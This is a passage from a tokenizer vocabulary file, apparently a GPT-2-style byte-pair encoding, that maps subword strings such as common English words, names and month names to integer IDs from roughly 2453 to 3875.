"\u0120accept": 2453, "ume": 2454, "ribut": 2455, "\u0120words": 2456, "\u0120final": 2457, "\u0120changes": 2458, "\u0120Democr": 2459, "\u0120friends": 2460, "\u0120respect": 2461, "\u0120ep": 2462, "\u0120compan": 2463, "ivil": 2464, "\u0120damage": 2465, "****": 2466, "ogle": 2467, "vironment": 2468, "\u0120neg": 2469, "ental": 2470, "\u0120ap": 2471, "\u0120total": 2472, "ival": 2473, "!\"": 2474, "lim": 2475, "\u0120needs": 2476, "\u0120agre": 2477, "\u0120development": 2478, "\u0120age": 2479, "iple": 2480, "21": 2481, "\u0120results": 2482, "\u0120Af": 2483, "Sh": 2484, "\u0120gun": 2485, "\u0120Obama": 2486, "roll": 2487, "\u0120@": 2488, "\u0120rights": 2489, "\u0120Brit": 2490, "\u0120running": 2491, "\u0120wasn": 2492, "\u0120port": 2493, "\u0120rate": 2494, "\u0120pretty": 2495, "\u0120target": 2496, "\u0120saw": 2497, "\u0120circ": 2498, "\u0120works": 2499, "icro": 2500, "alt": 2501, "over": 2502, "www": 2503, "That": 2504, "lier": 2505, "\u0120everyone": 2506, "ude": 2507, "\u0120pie": 2508, "iddle": 2509, "rael": 2510, "\u0120rad": 2511, "\u0120block": 2512, "\u0120walk": 2513, "To": 2514, "\u00e3\u0123": 2515, "nes": 2516, "\u0120Aust": 2517, "aul": 2518, "rote": 2519, "\u0120South": 2520, "ession": 2521, "oph": 2522, "\u0120shows": 2523, "\u0120site": 2524, "\u0120jo": 2525, "\u0120risk": 2526, "clus": 2527, "lt": 2528, "\u0120inj": 2529, "iding": 2530, "\u0120Spe": 2531, "\u0120chall": 2532, "irm": 2533, "\u012022": 2534, "itting": 2535, "str": 2536, "\u0120hy": 2537, "LE": 2538, "key": 2539, "\u0120began": 2540, "atur": 2541, "ashington": 2542, "lam": 2543, "\u0120Dav": 2544, "bit": 2545, "\u0120size": 2546, "\u0120Par": 2547, "38": 2548, "ournal": 2549, "face": 2550, "\u0120decision": 2551, "\u0120larg": 2552, "\u0120jud": 2553, "rect": 2554, "\u0120continue": 2555, "\u0120Oct": 2556, "overed": 2557, "\u0120Int": 2558, "========": 2559, "\u0120parent": 2560, "\u0120Will": 2561, "\u0120easy": 2562, "\u0120drug": 2563, "anger": 2564, "\u0120sense": 2565, "\u0120di": 2566, "iday": 2567, "\u0120energy": 2568, "istic": 2569, "\u0120associ": 2570, "arter": 2571, "obal": 2572, "eks": 2573, "\u0120El": 2574, "urch": 2575, "\u0120girl": 2576, "oe": 2577, "itle": 2578, "\u012028": 2579, "\u0120Che": 2580, "\u0120request": 2581, "\u0120soon": 2582, "\u0120host": 2583, "ky": 2584, "\u0120states": 2585, "omes": 2586, "\u0120material": 2587, "lex": 2588, "\u0120moment": 2589, "\u0120answ": 2590, "onse": 2591, "\u0120especially": 2592, "\u0120norm": 2593, "\u0120services": 2594, "pite": 2595, "ran": 2596, "\u0120role": 2597, "44": 2598, "):": 2599, "\u0120cred": 2600, "Cl": 2601, "________": 2602, "\u0120mat": 2603, "\u0120log": 2604, "\u0120Clinton": 2605, "OU": 2606, "\u0120office": 2607, "\u012026": 2608, "\u0120charg": 2609, "\u0120track": 2610, "ma": 2611, "\u0120heart": 2612, "\u0120ball": 2613, "\u0120personal": 2614, "\u0120building": 2615, "na": 2616, "set": 2617, "body": 2618, "\u0120Black": 2619, "\u0120increase": 2620, "itten": 2621, "\u0120needed": 2622, "36": 2623, "32": 2624, "=\"": 2625, "\u0120lost": 2626, "\u0120became": 2627, "\u0120groups": 2628, "\u0120Mus": 2629, "\u0120wrote": 2630, "\u0120Pe": 2631, "\u0120prop": 2632, "joy": 2633, "\u00c3\u00a9": 2634, "\u0120White": 2635, "\u0120dead": 2636, ".'": 2637, "\u0120http": 2638, "\u0120webs": 2639, "OS": 2640, "\u0120inside": 2641, "\u0120wrong": 2642, "\u0120statement": 2643, "\u0120...": 2644, "yl": 2645, "\u0120film": 2646, "\u0120music": 2647, "\u0120share": 2648, "ification": 2649, "\u0120release": 2650, "\u0120forward": 2651, "\u0120stay": 2652, "\u0120comput": 2653, "itte": 2654, "ser": 2655, "\u0120original": 2656, "\u0120card": 2657, "\u0120cand": 2658, "\u0120div": 2659, "atural": 2660, "\u0120favor": 2661, "OM": 2662, "\u0120cases": 2663, "uses": 2664, "\u0120section": 2665, "\u0120leave": 2666, "ging": 2667, "oved": 2668, "\u0120Washington": 2669, "39": 2670, "\u0120Gl": 2671, "\u0120required": 2672, "action": 2673, "apan": 2674, "oor": 2675, "iter": 2676, "\u0120King": 2677, "\u0120countries": 2678, "\u0120German": 2679, "lling": 2680, "\u012027": 2681, "34": 2682, "\u0120questions": 2683, "\u0120prim": 2684, "\u0120cell": 2685, "\u0120shoot": 2686, "\u0120anyone": 2687, "\u0120West": 2688, "\u0120affect": 2689, "epend": 2690, "\u0120online": 2691, "\u0120Israel": 2692, "\u0120September": 2693, "\u0120ability": 2694, "\u0120content": 2695, "ises": 2696, "\u0120reve": 2697, "\u0120laun": 2698, "\u0120indic": 2699, "\u0120force": 2700, "cast": 2701, "\u0120sold": 2702, "aving": 2703, "fl": 2704, "\u0120soft": 2705, "\u0120companies": 2706, "ceed": 2707, "\u0120article": 2708, "\u0120aud": 2709, "\u0120rev": 2710, "\u0120educ": 2711, "\u0120playing": 2712, "05": 2713, "\u0120held": 2714, "ctor": 2715, "\u0120released": 2716, "\u0120federal": 2717, "37": 2718, "\u0120administ": 2719, "\u0120interview": 2720, "\u0120install": 2721, "\u0120received": 2722, "\u0120source": 2723, "uk": 2724, "Ph": 2725, "\u0120serious": 2726, "\u0120created": 2727, "\u0120cause": 2728, "\u0120immedi": 2729, "\u0120defin": 2730, "uel": 2731, "\u0120Department": 2732, "ctions": 2733, "\u0120Cour": 2734, "\u0120Now": 2735, "ze": 2736, "ites": 2737, "itution": 2738, "\u0120late": 2739, "\u0120speak": 2740, "ners": 2741, "\u0120legal": 2742, "ari": 2743, "\u0120Cor": 2744, "\u0120weeks": 2745, "\u0120model": 2746, "\u0120pred": 2747, "\u0120exact": 2748, "BC": 2749, "\u0120By": 2750, "ING": 2751, "osing": 2752, "\u0120takes": 2753, "\u0120regard": 2754, "\u0120opportun": 2755, "\u0120price": 2756, "\u0120198": 2757, "\u0120Apr": 2758, "fully": 2759, "\u0120ord": 2760, "\u0120problems": 2761, "ruction": 2762, "ham": 2763, "\u0120Count": 2764, "lege": 2765, "\u0120leaders": 2766, "ET": 2767, "lev": 2768, "\u0120deep": 2769, "ological": 2770, "ese": 2771, "haps": 2772, "\u0120Some": 2773, "\u0120pers": 2774, "\u0120contract": 2775, "\u0120relationship": 2776, "sp": 2777, "oud": 2778, "\u0120base": 2779, "48": 2780, "mit": 2781, "Ad": 2782, "ancial": 2783, "\u0120consum": 2784, "\u0120potential": 2785, "\u0120langu": 2786, "rem": 2787, "eth": 2788, "\u0120relig": 2789, "ressed": 2790, "66": 2791, "\u0120link": 2792, "\u0120lower": 2793, "ayer": 2794, "\u0120June": 2795, "\u0120fem": 2796, "unt": 2797, "erc": 2798, "urd": 2799, "\u0120contact": 2800, "\u0120ill": 2801, "\u0120mother": 2802, "\u0120estab": 2803, "htt": 2804, "\u0120March": 2805, "\u0120Bro": 2806, "\u0120China": 2807, "\u012029": 2808, "\u0120squ": 2809, "\u0120provided": 2810, "\u0120average": 2811, "asons": 2812, "\u01202011": 2813, "\u0120exam": 2814, "lin": 2815, "55": 2816, "ned": 2817, "\u0120perfect": 2818, "\u0120tou": 2819, "alse": 2820, "ux": 2821, "\u0120buy": 2822, "\u0120shot": 2823, "\u0120collect": 2824, "\u0120phot": 2825, "\u0120played": 2826, "\u0120surpr": 2827, "\u0120officials": 2828, "\u0120simple": 2829, "avy": 2830, "\u0120industry": 2831, "\u0120hands": 2832, "ground": 2833, "\u0120pull": 2834, "\u0120round": 2835, "\u0120user": 2836, "\u0120range": 2837, "uary": 2838, "\u0120private": 2839, "ops": 2840, "ees": 2841, "\u0120ways": 2842, "\u0120Mich": 2843, "\u0120veh": 2844, "\u0120except": 2845, "\u0120terms": 2846, "imum": 2847, "pper": 2848, "ION": 2849, "ores": 2850, "\u0120Dragon": 2851, "oul": 2852, "\u0120den": 2853, "\u0120performance": 2854, "\u0120bill": 2855, "cil": 2856, "47": 2857, "\u0120environment": 2858, "\u0120exc": 2859, "add": 2860, "\u0120worth": 2861, "\u0120pict": 2862, "\u0120chance": 2863, "\u01202018": 2864, "bor": 2865, "\u0120speed": 2866, "iction": 2867, "\u0120alleg": 2868, "\u0120Japan": 2869, "atory": 2870, "reet": 2871, "\u0120match": 2872, "\u0120II": 2873, "\u0120stru": 2874, "order": 2875, "\u0120ste": 2876, "\u0120living": 2877, "\u0120struct": 2878, "ino": 2879, "\u0120separ": 2880, "hern": 2881, "\u0120response": 2882, "\u0120enjoy": 2883, "\u0120via": 2884, "AD": 2885, "uments": 2886, "acebook": 2887, "\u0120member": 2888, "ibr": 2889, "izing": 2890, "\u0120tool": 2891, "\u0120Mon": 2892, "\u0120While": 2893, "hood": 2894, "\u0120Ang": 2895, "\u0120Def": 2896, "\u0120offer": 2897, "Tr": 2898, "aur": 2899, "\u0120turned": 2900, "\u0120July": 2901, "down": 2902, "anced": 2903, "\u0120recently": 2904, "\u0120Ear": 2905, "\u0120ce": 2906, "\u0120Star": 2907, "\u0120Cong": 2908, "rought": 2909, "\u0120blood": 2910, "\u0120hope": 2911, "\u0120comment": 2912, "aint": 2913, "\u0120arri": 2914, "iles": 2915, "\u0120particip": 2916, "ought": 2917, "ription": 2918, "08": 2919, "49": 2920, "\u0120gave": 2921, "\u0120select": 2922, "\u0120killed": 2923, "sych": 2924, "\u0120goes": 2925, "ij": 2926, "\u0120coll": 2927, "\u0120impact": 2928, "atives": 2929, "\u0120Ser": 2930, "09": 2931, "\u0120August": 2932, "\u0120boy": 2933, "de": 2934, "\u0120Des": 2935, "\u0120felt": 2936, "US": 2937, "\u0120expected": 2938, "\u0120image": 2939, "\u0120Mark": 2940, "ccording": 2941, "oice": 2942, "EC": 2943, "\u0120Mag": 2944, "ened": 2945, "hold": 2946, "\u0120Post": 2947, "\u0120prevent": 2948, "No": 2949, "\u0120involved": 2950, "\u0120eyes": 2951, "\u0120quickly": 2952, "At": 2953, "unk": 2954, "\u0120behav": 2955, "\u0120ur": 2956, "\u0120led": 2957, "come": 2958, "ey": 2959, "\u0120candid": 2960, "\u0120earlier": 2961, "\u0120focus": 2962, "ety": 2963, "Pro": 2964, "ledge": 2965, "ixed": 2966, "illed": 2967, "\u0120popular": 2968, "AP": 2969, "\u0120sett": 2970, "light": 2971, "\u0120various": 2972, "inks": 2973, "\u0120levels": 2974, "\u0120road": 2975, "ellig": 2976, "ables": 2977, "hel": 2978, "ittee": 2979, "\u0120Gener": 2980, "ype": 2981, "\u0120heard": 2982, "icles": 2983, "\u0120mis": 2984, "\u0120users": 2985, "\u0120San": 2986, "\u0120improve": 2987, "\u0120father": 2988, "\u0120search": 2989, "They": 2990, "vil": 2991, "\u0120profess": 2992, "\u0120knew": 2993, "\u0120loss": 2994, "\u0120events": 2995, "65": 2996, "\u0120billion": 2997, "07": 2998, "02": 2999, "\u0120News": 3000, "\u0120AM": 3001, "\u0120cover": 3002, "where": 3003, "ension": 3004, "\u0120bott": 3005, "\u0120areas": 3006, "ences": 3007, "ope": 3008, "\u0120Twitter": 3009, "ael": 3010, "\u0120gets": 3011, "\u0120Google": 3012, "\u0120sn": 3013, "iant": 3014, "\u0120vote": 3015, "\u0120nearly": 3016, "\u0120included": 3017, "\u0120recogn": 3018, "zz": 3019, "mm": 3020, "aled": 3021, "\u0120happened": 3022, "04": 3023, "\u0120hot": 3024, "\u0120whose": 3025, "\u0120civil": 3026, "\u0120suff": 3027, "oes": 3028, "itiz": 3029, "\u0120Syri": 3030, "\u0120respond": 3031, "\u0120hon": 3032, "\u0120features": 3033, "\u0120economic": 3034, "\u0120April": 3035, "rim": 3036, "\u0120technology": 3037, "\u0120option": 3038, "aging": 3039, "\u0120purch": 3040, "Re": 3041, "\u0120lat": 3042, "chie": 3043, "isl": 3044, "\u0120recomm": 3045, "uf": 3046, "\u0120training": 3047, "\u0120effects": 3048, "\u0120fast": 3049, "\u01202010": 3050, "\u0120occur": 3051, "\u0120website": 3052, "\u0120email": 3053, "\u0120sens": 3054, "ech": 3055, "\u0120oil": 3056, "\u0120influ": 3057, "\u0120currently": 3058, "\u0120Sch": 3059, "\u0120Add": 3060, "\u0120goal": 3061, "\u0120scient": 3062, "\u0120conv": 3063, "100": 3064, "emy": 3065, "\u0120decided": 3066, "\u0120travel": 3067, "\u0120mention": 3068, "LL": 3069, "03": 3070, "\u0120election": 3071, "\u0120phone": 3072, "\u0120looks": 3073, "\u0120situation": 3074, "\u0120cy": 3075, "\u0120hor": 3076, "bed": 3077, "\u0120Court": 3078, "aily": 3079, "aves": 3080, "\u0120quality": 3081, "\u0120Comp": 3082, "wise": 3083, "\u0120table": 3084, "\u0120staff": 3085, "\u0120Wind": 3086, "ett": 3087, "\u0120tried": 3088, "idered": 3089, "\u0120addition": 3090, "\u0120box": 3091, "\u0120lack": 3092, "arily": 3093, "\u0120wide": 3094, "\u0120mid": 3095, "\u0120board": 3096, "ysis": 3097, "\u0120anti": 3098, "ha": 3099, "\u0120dig": 3100, "ening": 3101, "\u0120dro": 3102, "Con": 3103, "68": 3104, "\u0120slow": 3105, "based": 3106, "sequ": 3107, "\u0120path": 3108, "Ex": 3109, "aker": 3110, "\u0120worked": 3111, "\u0120pen": 3112, "\u0120engine": 3113, "\u0120looked": 3114, "\u0120Super": 3115, "\u0120Serv": 3116, "\u0120victim": 3117, "Un": 3118, "\u0120property": 3119, "\u0120introdu": 3120, "\u0120execut": 3121, "\u0120PM": 3122, "Le": 3123, "\u0120color": 3124, "\u0120More": 3125, "\u012060": 3126, "\u0120network": 3127, "\u0120date": 3128, "cul": 3129, "idge": 3130, "\u0120extra": 3131, "31": 3132, "\u0120sle": 3133, "67": 3134, "\u0120wond": 3135, "\u0120reports": 3136, "just": 3137, "\u0120Austral": 3138, "\u0120capital": 3139, "\u0120ens": 3140, "\u0120command": 3141, "\u0120allowed": 3142, "\u0120prep": 3143, "\u0120capt": 3144, "hib": 3145, "\u0120numbers": 3146, "chan": 3147, "\u0120fair": 3148, "mp": 3149, "oms": 3150, "\u0120reach": 3151, "With": 3152, "tain": 3153, "\u0120broad": 3154, "\u0120couple": 3155, "ecause": 3156, "lying": 3157, "\u0120Feb": 3158, "\u0120screen": 3159, "\u0120lives": 3160, "\u0120prior": 3161, "\u0120Congress": 3162, "Ar": 3163, "\u0120approach": 3164, "\u0120emer": 3165, "aries": 3166, "\u0120Dis": 3167, "serv": 3168, "\u0120Ne": 3169, "\u0120built": 3170, "cies": 3171, "\u0120repe": 3172, "\u0120rules": 3173, "force": 3174, "\u0120Pal": 3175, "\u0120financial": 3176, "\u0120considered": 3177, "\u0120Char": 3178, "nces": 3179, "\u0120IS": 3180, "\u0120brought": 3181, "\u0120bi": 3182, "iers": 3183, "\u0120Sim": 3184, "OP": 3185, "\u0120products": 3186, "\u0120visit": 3187, "\u0120document": 3188, "\u0120conduct": 3189, "\u0120completely": 3190, "ining": 3191, "\u0120Calif": 3192, "ibly": 3193, "\u0120written": 3194, "\u0120TV": 3195, "ements": 3196, "\u0120draw": 3197, "One": 3198, "\u0120published": 3199, "\u0120secret": 3200, "rain": 3201, "het": 3202, "\u0120Facebook": 3203, "onday": 3204, "\u0120Up": 3205, "\u0120sexual": 3206, "\u0120thous": 3207, "\u0120Pat": 3208, "\u0120ess": 3209, "\u0120standard": 3210, "\u0120arm": 3211, "ges": 3212, "ection": 3213, "\u0120fell": 3214, "\u0120foreign": 3215, "ani": 3216, "\u0120Friday": 3217, "\u0120regular": 3218, "inary": 3219, "\u0120increased": 3220, "\u0120usually": 3221, "\u0120demon": 3222, "\u0120dark": 3223, "\u0120additional": 3224, "rol": 3225, "\u0120Of": 3226, "\u0120production": 3227, "!!": 3228, "undred": 3229, "\u0120international": 3230, "idents": 3231, "\u0120Free": 3232, "roup": 3233, "\u0120race": 3234, "\u0120mach": 3235, "\u0120huge": 3236, "All": 3237, "lear": 3238, "ovember": 3239, "\u0120town": 3240, "\u0120attention": 3241, "\u0120Off": 3242, "yond": 3243, "\u0120Then": 3244, "field": 3245, "\u0120terror": 3246, "raz": 3247, "\u0120Bo": 3248, "\u0120meeting": 3249, "\u0120Park": 3250, "\u0120arrest": 3251, "\u0120fear": 3252, "\u0120aw": 3253, "\u0120Val": 3254, "oring": 3255, "',": 3256, "\u0120extreme": 3257, "arr": 3258, "\u0120workers": 3259, "After": 3260, "\u012031": 3261, "net": 3262, "ament": 3263, "\u0120directly": 3264, "\u0120population": 3265, "ube": 3266, "\u0120October": 3267, "\u0120IN": 3268, "\u0120January": 3269, "59": 3270, "\u0120David": 3271, "\u0120cross": 3272, "cember": 3273, "\u0120First": 3274, "\u0120message": 3275, "irit": 3276, "\u0120nation": 3277, "\u0120poll": 3278, "isions": 3279, "\u0120answer": 3280, "ny": 3281, "isode": 3282, "\u0120carry": 3283, "\u0120Russia": 3284, "\u0120hear": 3285, "ength": 3286, "roy": 3287, "\u0120natural": 3288, "inally": 3289, "\u0120dog": 3290, "mitted": 3291, "\u0120trade": 3292, "\u0120subst": 3293, "\u0120multiple": 3294, "\u0120Afric": 3295, "\u0120fans": 3296, "\u0120sort": 3297, "\u0120global": 3298, "ication": 3299, "\u0120Wed": 3300, "ara": 3301, "\u0120achie": 3302, "\u0120language": 3303, "vey": 3304, "\u0120tal": 3305, "\u0120necessary": 3306, "\u0120details": 3307, "\u0120sen": 3308, "\u0120Sund": 3309, "\u0120Reg": 3310, "\u0120Rec": 3311, "06": 3312, "\u0120sil": 3313, "ressive": 3314, "\u0120medical": 3315, "unch": 3316, "ornia": 3317, "\u0120und": 3318, "fort": 3319, "ocks": 3320, "\u0120Monday": 3321, "uesday": 3322, "craft": 3323, "77": 3324, "urt": 3325, "\u0120ver": 3326, "\u0120Hill": 3327, "\u0120receive": 3328, "\u0120morning": 3329, "estern": 3330, "\u0120bank": 3331, "\u0120sat": 3332, "irth": 3333, "\u0120High": 3334, "\u0120device": 3335, "\u0120THE": 3336, "\u0120Center": 3337, "\u0120safe": 3338, "\u0120ple": 3339, "\u0120Canada": 3340, "\u0120systems": 3341, "\u0120assist": 3342, "\u0120surv": 3343, "\u0120battle": 3344, "\u0120Soc": 3345, "vertis": 3346, "She": 3347, "\u0120paper": 3348, "\u0120growth": 3349, "\u0120cast": 3350, "Sc": 3351, "\u0120plans": 3352, "lled": 3353, "\u0120parts": 3354, "\u0120wall": 3355, "\u0120movement": 3356, "\u0120practice": 3357, "imately": 3358, "\u0120display": 3359, "\u0120sometimes": 3360, "omp": 3361, "\u0120Paul": 3362, "\u0120Yes": 3363, "king": 3364, "58": 3365, "oly": 3366, "\u0120son": 3367, "\u0120avoid": 3368, "okes": 3369, "\u0120Jew": 3370, "\u0120towards": 3371, "asc": 3372, "\u0120//": 3373, "\u0120Kore": 3374, "\u0120talking": 3375, "\u0120correct": 3376, "\u0120spent": 3377, "icks": 3378, "iable": 3379, "eared": 3380, "\u0120term": 3381, "\u0120wants": 3382, "oming": 3383, "\u0120ut": 3384, "\u0120doub": 3385, "\u0120forces": 3386, "\u0120please": 3387, "69": 3388, "\u0120November": 3389, "atform": 3390, "ondon": 3391, "\u0120ones": 3392, "\u0120immediately": 3393, "\u0120Russian": 3394, "\u0120Met": 3395, "\u0120deg": 3396, "\u0120parents": 3397, "CH": 3398, "\u0120Americans": 3399, "aly": 3400, "\u0120Mod": 3401, "\u0120shown": 3402, "\u0120conditions": 3403, "\u0120stuff": 3404, "\u0120reb": 3405, "\u0120Your": 3406, "\u0120includes": 3407, "nown": 3408, "\u0120Sam": 3409, "\u0120experien": 3410, "mission": 3411, "\u0120Even": 3412, "aught": 3413, "\u0120announced": 3414, "\u0120Republican": 3415, "\u0120determin": 3416, "\u0120described": 3417, "\u0120County": 3418, "()": 3419, "\u0120door": 3420, "\u0120changed": 3421, "\u0120neigh": 3422, "\u0120Here": 3423, "\u0120clean": 3424, "\u0120pan": 3425, "\u0120December": 3426, "\u0120European": 3427, "iring": 3428, "apter": 3429, "\u0120club": 3430, "\u0120Tuesday": 3431, "\u0120paid": 3432, "\u0120Net": 3433, "\u0120attacks": 3434, "\u0120characters": 3435, "\u0120alone": 3436, "\u0120director": 3437, "dom": 3438, "\u012035": 3439, "\u0120load": 3440, "\u0120rout": 3441, "\u0120California": 3442, "\u0120finally": 3443, "\u0120rac": 3444, "\u0120contr": 3445, "\u0120exactly": 3446, "resh": 3447, "pri": 3448, "\u0120Islam": 3449, "\u0120nature": 3450, "\u0120career": 3451, "\u0120latest": 3452, "\u0120convers": 3453, "\u0120Sl": 3454, "pose": 3455, "cient": 3456, "\u0120Inc": 3457, "ivity": 3458, "88": 3459, "\u0120Att": 3460, "\u0120Mor": 3461, "nesday": 3462, "\u0120weight": 3463, "ken": 3464, "\u0120note": 3465, "\u0120teams": 3466, "\u0120\\": 3467, "airs": 3468, "\u0120Green": 3469, "\u0120hundred": 3470, "onent": 3471, "\u0120streng": 3472, "\u0120consist": 3473, "icated": 3474, "\u0120regul": 3475, "\u0120lic": 3476, "astic": 3477, "\u0120ten": 3478, "ursday": 3479, "elligence": 3480, "ously": 3481, "\u0120UK": 3482, "BI": 3483, "\u0120costs": 3484, "\u0120independ": 3485, "\u0120AP": 3486, "\u0120normal": 3487, "\u0120hom": 3488, "\u0120obvious": 3489, "\u0120swe": 3490, "\u0120star": 3491, "\u0120ready": 3492, "acher": 3493, "\u0120implement": 3494, "gest": 3495, "\u0120song": 3496, "\u0120Get": 3497, "\u0120Lab": 3498, "\u0120interesting": 3499, "using": 3500, "\u0120giving": 3501, "\u0120Sunday": 3502, "\u0120etc": 3503, "\u0120middle": 3504, "\u0120remember": 3505, "right": 3506, "osition": 3507, "utions": 3508, "\u0120max": 3509, "46": 3510, "\u0120yourself": 3511, "\u0120demand": 3512, "\u0120treatment": 3513, "\u0120danger": 3514, "\u0120Cons": 3515, "\u0120guy": 3516, "\u0120British": 3517, "\u0120physical": 3518, "\u0120related": 3519, "\u0120remain": 3520, "\u0120couldn": 3521, "\u0120refer": 3522, "\u0120citiz": 3523, "box": 3524, "ENT": 3525, "board": 3526, "\u0120inn": 3527, "IG": 3528, "ero": 3529, "\u0120Street": 3530, "ospital": 3531, "rench": 3532, "chers": 3533, "\u0120stra": 3534, "OL": 3535, "ager": 3536, "\u0120AN": 3537, "\u0120easily": 3538, "IA": 3539, "enge": 3540, "iny": 3541, "\u0120clos": 3542, "ocked": 3543, "\u0120uses": 3544, "\u0120Coun": 3545, "Im": 3546, "uild": 3547, "??": 3548, "more": 3549, "\u0120ang": 3550, "\u0120write": 3551, "olute": 3552, "57": 3553, "\u0120leader": 3554, "\u0120reading": 3555, "</": 3556, "\u0120autom": 3557, "ests": 3558, "43": 3559, "\u0120legisl": 3560, "\u0120Gold": 3561, "\u0120designed": 3562, "\u0120ST": 3563, "\u0120Leg": 3564, "ares": 3565, "\u0120beaut": 3566, "\u0120Tex": 3567, "\u0120appears": 3568, "\u0120strugg": 3569, "\u0120Rom": 3570, "\u012000": 3571, "\u0120choice": 3572, "\u0120particularly": 3573, "\u0120From": 3574, "oper": 3575, "\u0120London": 3576, "anned": 3577, "\u0120allows": 3578, "obile": 3579, "\u0120difference": 3580, "\u00e2\u0122\u00a2": 3581, "\u0120View": 3582, "\u0120Wednesday": 3583, "\u0120although": 3584, "\u0120relative": 3585, "\u0120application": 3586, "atever": 3587, "\u0120aren": 3588, "\u0120myself": 3589, "\u0120imag": 3590, "\u0120dise": 3591, "\u0120society": 3592, "\u0120frequ": 3593, "\u0120English": 3594, "\u0120poor": 3595, "\u0120Day": 3596, "\u0120writing": 3597, "\u0120seven": 3598, "\u0120starting": 3599, "\u0120bud": 3600, "\u0120print": 3601, "\u0120Trans": 3602, "ufact": 3603, "\u0120Stud": 3604, "new": 3605, "\u0120crim": 3606, "\u0120gives": 3607, "\u0120cool": 3608, "ae": 3609, "iance": 3610, "\u0120General": 3611, "\u0120thinking": 3612, "\u0120save": 3613, "\u0120limited": 3614, "\u0120Party": 3615, "\u0120meaning": 3616, "pen": 3617, "owers": 3618, "\u0120Jack": 3619, "EM": 3620, "\u0120nice": 3621, "rupt": 3622, "\u0120gas": 3623, "\u0120eight": 3624, "\u0120feet": 3625, "\u0120effort": 3626, "\u0120ign": 3627, "icit": 3628, "Bl": 3629, "coin": 3630, "\u0120opin": 3631, "\u0120brain": 3632, "While": 3633, "hest": 3634, "\u0120Thursday": 3635, "\u0120wouldn": 3636, "aughter": 3637, "\u0120touch": 3638, "lements": 3639, "\u0120studies": 3640, "\u0120center": 3641, "cont": 3642, "orge": 3643, "\u0120computer": 3644, "\u0120investigation": 3645, "Pl": 3646, "orks": 3647, "\u01202008": 3648, "\u0120increasing": 3649, "\u0120store": 3650, "\u0120comments": 3651, "\u0120bal": 3652, "men": 3653, "\u0120doll": 3654, "\u0120liber": 3655, "\u0120wife": 3656, "\u0120laws": 3657, "aturday": 3658, "itness": 3659, "\u0120modern": 3660, "\u0120Sk": 3661, "\u0120administration": 3662, "\u0120opportunity": 3663, "\u0120sal": 3664, "\u0120powerful": 3665, "My": 3666, "\u0120claims": 3667, "\u0120Earth": 3668, "ords": 3669, "\u0120title": 3670, "\u0120esc": 3671, "name": 3672, "Not": 3673, "omen": 3674, "\u0120beyond": 3675, "\u0120camer": 3676, "\u0120sell": 3677, "itute": 3678, "earch": 3679, "\u0120appl": 3680, "iment": 3681, "42": 3682, "\u0120Art": 3683, "\u0120unf": 3684, "\u0120violence": 3685, "urg": 3686, "\u0120East": 3687, "\u0120compared": 3688, "\u0120options": 3689, "\u0120throughout": 3690, "\u0120vs": 3691, "igr": 3692, ".[": 3693, "aches": 3694, "78": 3695, "\u0120files": 3696, "FL": 3697, "EL": 3698, "arian": 3699, "\u0120James": 3700, "\u0120Air": 3701, "anch": 3702, "\u0120detail": 3703, "\u0120piece": 3704, "PS": 3705, "\u0120named": 3706, "\u0120education": 3707, "\u0120drive": 3708, "\u0120items": 3709, "\u0120student": 3710, "iced": 3711, "::": 3712, "ico": 3713, "\u0120throw": 3714, "\u0120scene": 3715, "\u0120complex": 3716, "\u01202009": 3717, "\u0120prec": 3718, "\u0120Bre": 3719, "79": 3720, "\u0120concept": 3721, "\u0120status": 3722, "aming": 3723, "\u0120died": 3724, "\u0120knowledge": 3725, "\u0120beginning": 3726, "OD": 3727, "ruary": 3728, "\u0120certainly": 3729, "\u0120guys": 3730, "\u0120slight": 3731, "inn": 3732, "ounds": 3733, "\u0120fine": 3734, "\u0120fat": 3735, "ications": 3736, "\u0120perhaps": 3737, "\u0120Ant": 3738, "\u0120income": 3739, "\u0120https": 3740, "\u0120majority": 3741, "ports": 3742, "ston": 3743, "\u0120greater": 3744, "\u0120feed": 3745, "entially": 3746, "\u0120safety": 3747, "\u0120unique": 3748, "andom": 3749, "\u0120gone": 3750, "\u0120showed": 3751, "\u0120histor": 3752, "\u0120counter": 3753, "ius": 3754, "ida": 3755, "\u0120leading": 3756, "ipe": 3757, "\u0120send": 3758, "\u0120Donald": 3759, "erve": 3760, "\u0120defense": 3761, "inese": 3762, "\u0120yes": 3763, "\u0120Fire": 3764, "\u0120Muslim": 3765, "raq": 3766, "\u0120continued": 3767, "osh": 3768, "\u0120provides": 3769, "\u0120prison": 3770, "\u0120Pre": 3771, "\u0120happy": 3772, "\u0120economy": 3773, "\u0120trust": 3774, "ags": 3775, "\u0120Game": 3776, "\u0120weapons": 3777, "uman": 3778, "\u0120Cle": 3779, "itation": 3780, "\u0120analysis": 3781, "\u0120Times": 3782, "\u0120science": 3783, "->": 3784, "\u0120figure": 3785, "\u0120disapp": 3786, "enty": 3787, "\u0120software": 3788, "\u0120ult": 3789, "\u0120officers": 3790, "New": 3791, "Is": 3792, "\u0120remains": 3793, "\u0120India": 3794, "\u0120psych": 3795, "rief": 3796, "\u0120cat": 3797, "esc": 3798, "\u0120observ": 3799, "\u0120stage": 3800, "\u0120Dark": 3801, "\u0120enter": 3802, "change": 3803, "\u0120passed": 3804, "\u0120despite": 3805, "\u0120Out": 3806, "\u0120movie": 3807, "rs": 3808, "\u0120voice": 3809, "mine": 3810, "\u0120Play": 3811, "\u0120toward": 3812, "\u0120Ter": 3813, "\u0120region": 3814, "\u0120values": 3815, "orters": 3816, "\u0120mount": 3817, "\u0120officer": 3818, "\u0120Other": 3819, "ban": 3820, "\u0120hous": 3821, "wood": 3822, "room": 3823, "IV": 3824, "\u0120Sun": 3825, "see": 3826, "\u0120Over": 3827, "rog": 3828, "90": 3829, "\u0120lay": 3830, "\u0120Tur": 3831, "awn": 3832, "\u0120pressure": 3833, "\u0120Sub": 3834, "\u0120books": 3835, "edom": 3836, "\u0120Sand": 3837, "AA": 3838, "ago": 3839, "\u0120reasons": 3840, "ford": 3841, "\u0120activity": 3842, "UT": 3843, "Now": 3844, "\u0120Senate": 3845, "cell": 3846, "night": 3847, "\u0120calls": 3848, "inter": 3849, "\u0120letter": 3850, "\u0120Rob": 3851, "\u0120Je": 3852, "\u0120choose": 3853, "\u0120Law": 3854, "Get": 3855, "Be": 3856, "\u0120rob": 3857, "\u0120types": 3858, "\u0120platform": 3859, "\u0120quarter": 3860, "RA": 3861, "\u0120Time": 3862, "\u0120maybe": 3863, "\u0120Cr": 3864, "95": 3865, "pre": 3866, "\u0120moving": 3867, "\u0120lif": 3868, "\u0120gold": 3869, "\u0120som": 3870, "\u0120patients": 3871, "\u0120truth": 3872, "\u0120Ke": 3873, "urance": 3874, "antly": 3875, "mar": 